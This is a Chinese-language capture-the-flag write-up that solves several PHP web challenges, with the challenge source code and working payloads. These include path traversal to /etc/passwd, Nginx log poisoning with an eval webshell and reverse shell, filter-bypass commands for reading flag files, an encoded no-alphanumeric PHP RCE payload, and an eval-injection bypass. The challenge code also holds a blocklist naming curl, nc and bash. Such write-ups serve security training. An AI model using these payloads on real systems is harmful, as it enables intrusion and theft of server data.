“温故而知新,可以为师矣”——孔子《论语》

WEB_ALL_INFO_U_WANT

访问index.php.bak得到源码:


visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

?>



really really really baby challenge right? 

根据源码提示传入all_info_u_want.php?all_info_i_want,得到phpinfo()的结果,flag并不在这里

传入all_info_u_want.php?file=../../../../../../etc/passwd,可以看到/etc/passwd的内容,目录穿越,再传入all_info_u_want.php?file=../../../../../../flag试图读取flag,得到信息如下:

flag{this_is_fake_flag_realflag_is_in_/etc_find_it_by_yourself}

根据提示可以知道flag应该在etc目录下,慢猜不好搞,没那个运气

先来看看用的是什么web服务器,抓包可以看到是Nginx服务器,尝试读取Nginx的敏感信息文件,网上查得Nginx的访问日志文件默认路径为/var/log/nginx/access.log,尝试读取,得到日志文件结果,该日志文件回保存访问的User-Agent的内容,结合文件包含,我们可以在User-Agent中注入恶意代码,从而getshell

GET /all_info_u_want.php?file=../../../../../../../../var/log/nginx/access.log HTTP/1.1
Host: 16636aaf-35bc-4ac1-993c-95897de4ec8e.chall.ctf.show
User-Agent: <?php phpinfo();?>

成功执行php代码,于是传入User-Agent: <?php eval($_POST['pass']);?>

利用pass反弹shell后执行find etc -name "*" | xargs grep "flag{",得到flag

WEB_WUSTCTF朴实无华Revenge

拿到题目得到源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);  // 获取变量的整数值
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }
    $numReverse = intval(strrev($num));  // 反转字符串
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num)){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧1");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

先一层层绕过,首先第一个if,传入num,简单来说就是

  • num结果取整后和原来的字符串需要相等,但是这里只需要==即可
  • num需要为数字,取整后的数字不能小于-999999999999999999或者大于999999999999999999
  • num在经过取整和反转字符串后取整后的数字需要相等
  • num经过isPalindrome函数返回的值需要为false

再来看看isPalindrome函数,字符串两边对称的数字需要有不一样,才能使$l=0,返回false这样与前面的条件就矛盾了,反转后又需要相等,又不能对称。

以下提供两种绕过方式:

00.0
1000000000000000.00000000000000010

第一种确实是没有任何操作就直接绕过了,而第二种则是浮点数的精度问题,在服务器上

var_dump(intval(1000000000000000.00000000000000010) === intval(strrev(1000000000000000.00000000000000010)));

是可以返回true的,但是我在本地测试到

var_dump(intval(1000000.00000010) === intval(strrev(1000000.00000010)));

就返回false了,不知道什么鬼-.-

再绕过第二个if

这个需要让$md5==md5(md5($md5)),弱比较,绕如果md5=0exxxxxxxx,经过两次md5加密后的md5值也为0exxxxxxxx,即可绕过

写个脚本爆破即可,这样的字符串挺多的,以下列举几个:

0e3900184182->0e141872119030269772765275363795
0e6201668706->0e798542257494932620650241948633
0e6702291282->0e100506350380765096811441821816
0e1808236718->0e935567136545220553710393252752
0e9507776345->0e884606274470724143653948404543
0e7208324299->0e029637360083197154652141201992
0e2010692162->0e514898998879174336203746127058
0e9410970854->0e430279023649905390706560476083
0e3511282263->0e657335831331991043075342997270

再到最后get flag

过滤了挺多的命令,但是还是可以绕过:

nl</flag|nl
rev</flag|rev

随后即可拿到flag

WEB_WUSTCTF朴实无华Revenge_Revenge

源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

这题和上题差不多,只是最后的命令多过滤了一些,直接给出payload:

?num=1000000000000000.00000000000000010&md5=0e2010692162&get_flag=ca\t<flag.ph\p

WEB_你取吧

源码:

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>

直接给出P神的payload(无字母数字的RCE):

一些不包含数字和字母的webshell

GET:

?code=%22%22%29%3b%24%5f%3d%5b%5d%3b%24%5f%3d%40%22%24%5f%22%3b%24%5f%3d%24%5f%5b%27%21%27%3d%3d%27%40%27%5d%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b//

因为携带许多不可打印的字符,所以需要经过url编码后发包传入,以上代码翻译过来就是:ASSERT($_POST[_]);,即可post一个_,字符执行代码,_=system('cat /flag');,即可拿到flag

WEB_给你shell

F12看到源码,且有个提示flag is in /flag.txt

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

代码审计后发现是需要get一个give_me_shell,随后才可以进入函数中的三目运算符进行信息的读取,且需要$obj['secret'] == $flag_md5(推测为$flag的md5值),才可以进行echo "here is your webshell: $shell_path";操作

第一个三目运算符处可以设置一个名为secretcookie,如果未设置的话系统就会自动帮你设置,随后设置的cookiesecret赋值给$json,进入checkCookie函数,观察函数可得知$json中的格式需要满足一个json的格式,且jsonsecret值的格式需满足'/^[\"0-9A-Z]*}$/',然后才能返回true,进入json_decode,将secret的值解析出来,否则die('no');,于是我们先传入一个满足条件的secretcookie,看看haveFun($flag)函数返回什么,发包后发现返回这样的一个字符串0006464640064064646464006406464064640064006400000000000,为$flag经过haveFun函数后返回的值,观察函数,其中对$flag进行了md5加密后,对其中的每一个字符都经过ord函数与0xC0经过了与运算

测试后发现,如果是数字和0xC0&结果就是0,如果是字母则结果是64,那么则可以确定$flag的前三位为数字,那么我们只需要因为$obj['secret'] != $flag_md5此处为弱比较,所以我们只需要让$obj['secret'],(也就是传入cookie中 secret 值中的secret的值)前三位和$flag_md5的前三位数字相等即可,于是放到burp中爆破,得到secret={"secret":115},随后得到$shell_path信息: here is your webshell: w3b5HeLLlll123.php

访问w3b5HeLLlll123.php得到源码:

<?php
error_reporting(0);
session_start();


//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";


if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');


if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}


/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

发现eval函数,于是传入code,但是经过了preg_match,并且$secret_waf没给出来,fuzz测试后发现过滤了大多数字符,括号、引号、分号、空格 、反引号、/ \ $ * # ^ &等符号,并且f、sys、include也被过滤,这里直接给出payload:?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

  • ]=1?>闭合前面的中括号和php代码,随后执行一句话php代码
  • ~为反转字符串根据源码提示读取/flag.txt
  • 使用require可以不需要括号
  • require~之间不需要空格就可以执行

得到flag.txt内容:

可以,说明你ctfshow的红包2没白做,flag在/flag,同样的方法去读取吧。1]=false;

再读/flag?code=]=1?><?=require~%d0%99%93%9e%98?>得到flag